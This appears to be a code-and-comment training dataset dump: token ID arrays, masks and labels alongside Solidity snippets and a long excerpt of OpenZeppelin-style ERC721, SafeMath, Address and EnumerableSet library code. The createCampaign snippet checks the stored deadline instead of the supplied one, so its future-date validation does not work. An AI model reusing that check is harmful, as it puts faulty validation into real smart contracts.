0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
12022,
1318,
353,
2971,
2955,
1318,
16,
13456,
1887,
5786,
6064,
16,
18381,
429,
288,
203,
565,
533,
1071,
5381,
8456,
273,
315,
22,
18,
20,
18,
20,
14432,
203,
203,
565,
1450,
2361,
364,
2254,
5034,
31,
203,
203,
565,
2254,
5034,
1071,
943,
2578,
951,
23725,
3039,
273,
5196,
31,
203,
203,
565,
871,
12022,
10868,
12,
2867,
8808,
389,
1355,
16,
2254,
5034,
389,
2630,
16,
2254,
5034,
389,
2844,
1769,
203,
565,
871,
12022,
694,
88,
1259,
12,
2867,
8808,
389,
1355,
16,
2254,
5034,
389,
2630,
16,
2254,
5034,
389,
2844,
1769,
203,
565,
871,
12022,
9447,
694,
88,
1259,
12,
2867,
8808,
389,
1355,
16,
2254,
5034,
389,
2630,
16,
2254,
5034,
389,
2844,
1769,
203,
203,
203,
203,
203,
565,
3885,
12,
45,
8924,
1887,
5786,
389,
16351,
1887,
5786,
13,
13456,
1887,
5786,
6064,
24899,
16351,
1887,
5786,
13,
1071,
2618,
203,
565,
445,
1322,
6997,
6063,
1318,
1435,
1071,
1476,
1135,
261,
5127,
6997,
6063,
1318,
13,
288,
203,
3639,
327,
4437,
6997,
6063,
1318,
12,
588,
8924,
1887,
24899,
5127,
6997,
6063,
1318,
67,
10019,
203,
565,
289,
203,
203,
565,
445,
336,
1584,
44,
5072,
1435,
1071,
1476,
1135,
261,
45,
1584,
44,
5072,
13,
288,
203,
3639,
327,
467,
1584,
44,
5072,
12,
588,
8924,
1887,
24899,
45,
1584,
44,
5072,
67,
10019,
203,
565,
289,
203,
203,
565,
445,
22104,
1503,
1435,
1071,
1476,
1135,
261,
2579,
2955,
1503,
13,
288,
203,
3639,
327,
2971,
2955,
1503,
12,
588,
8924,
2
] |
./full_match/5/0x225fb54B988D131A7d563050B933AAD19153090B/sources/contracts/CrowdFunding.sol
|
is everything okay?
|
function createCampaign(address _owner, string memory _title, string memory _description, uint256 _target, uint256 _deadline, string memory _image) public returns (uint256) {
Campaign storage campaign = campaigns[numberOfCampaigns];
require(campaign.deadline < block.timestamp, "the deadline should be a date in the future.");
campaign.owner = _owner;
campaign.title = _title;
campaign.description = _description;
campaign.target = _target;
campaign.deadline = _deadline;
campaign.amountCollected = 0;
campaign.image = _image;
numberOfCampaigns++;
return numberOfCampaigns - 1;
}
| 7,066,751 |
[
1,
291,
7756,
21194,
35,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
752,
13432,
12,
2867,
389,
8443,
16,
533,
3778,
389,
2649,
16,
533,
3778,
389,
3384,
16,
2254,
5034,
389,
3299,
16,
2254,
5034,
389,
22097,
1369,
16,
533,
3778,
389,
2730,
13,
1071,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
17820,
2502,
8965,
273,
8965,
87,
63,
2696,
951,
13432,
87,
15533,
203,
203,
3639,
2583,
12,
14608,
18,
22097,
1369,
411,
1203,
18,
5508,
16,
315,
5787,
14096,
1410,
506,
279,
1509,
316,
326,
3563,
1199,
1769,
203,
203,
3639,
8965,
18,
8443,
273,
389,
8443,
31,
203,
3639,
8965,
18,
2649,
273,
389,
2649,
31,
203,
3639,
8965,
18,
3384,
273,
389,
3384,
31,
203,
3639,
8965,
18,
3299,
273,
389,
3299,
31,
203,
3639,
8965,
18,
22097,
1369,
273,
389,
22097,
1369,
31,
203,
3639,
8965,
18,
8949,
10808,
329,
273,
374,
31,
203,
3639,
8965,
18,
2730,
273,
389,
2730,
31,
203,
203,
3639,
7922,
13432,
87,
9904,
31,
203,
203,
3639,
327,
7922,
13432,
87,
300,
404,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x556d9E146CC7Fe7DF93fBdd90347Af8930acb104/sources/browser/Contract_Code_Min.sol
|
add up dynamic bonus amonut (dynamic bonus)
|
uint bonusDynamicAmonut;
| 3,090,303 |
[
1,
1289,
731,
5976,
324,
22889,
2125,
265,
322,
261,
14507,
324,
22889,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
202,
11890,
324,
22889,
9791,
37,
2586,
322,
31,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor() internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value)
private
view
returns (bool)
{
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index)
private
view
returns (bytes32)
{
require(
set._values.length > index,
"EnumerableSet: index out of bounds"
);
return set._values[index];
}
// Bytes32Set
